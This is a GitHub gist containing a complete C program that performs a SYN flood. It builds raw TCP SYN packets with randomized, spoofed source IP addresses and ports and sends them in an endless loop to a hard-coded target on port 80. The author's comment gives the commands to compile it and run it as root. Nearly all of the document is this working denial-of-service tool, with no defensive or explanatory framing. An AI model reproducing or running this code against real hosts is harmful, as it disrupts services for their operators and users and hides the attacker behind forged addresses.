Skip to content

Instantly share code, notes, and snippets.

@zltl

zltl/syn-flood.c Secret

Created May 7, 2022 06:34
Show Gist options
  • Save zltl/d5444a59700e1d4901c4a8fffeff74fc to your computer and use it in GitHub Desktop.
Save zltl/d5444a59700e1d4901c4a8fffeff74fc to your computer and use it in GitHub Desktop.
SYN flood in C
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
struct pseudo_header {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr, int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
answer = (short)~sum;
return (answer);
}
#define DEST_IP "1.2.3.4"
#define DEST_PORT 80
int main(void) {
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
char datagram[4096];
struct iphdr *iph = (struct iphdr *)datagram;
struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
while (1) {
sin.sin_family = AF_INET;
sin.sin_port = htons(DEST_PORT);
sin.sin_addr.s_addr = inet_addr(DEST_IP);
// ip
memset(datagram, 0, 4096);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct ip) + sizeof(struct tcphdr);
iph->id = htons((unsigned short)rand());
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = rand();
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
// TCP
tcph->source = htons((unsigned short)rand());
tcph->dest = htons(80);
tcph->seq = rand();
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(5840);
tcph->check = 0;
tcph->urg_ptr = 0;
psh.source_address = iph->saddr;
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp, tcph, sizeof(struct tcphdr));
tcph->check = csum((unsigned short *)&psh, sizeof(struct pseudo_header));
int one = 1;
const int *val = &one;
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
printf(
"Error setting IP_HDRINCL. Error number : %d . Error message : %s \n",
errno, strerror(errno));
exit(0);
}
if (sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin,
sizeof(sin)) < 0) {
printf("error %d(%s)\n", errno, strerror(errno));
} else {
printf("Packet Sent\n");
}
}
return 0;
}
@zltl
Copy link
Author

zltl commented May 7, 2022

gcc syn-flood.c
sudo ./a.out

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment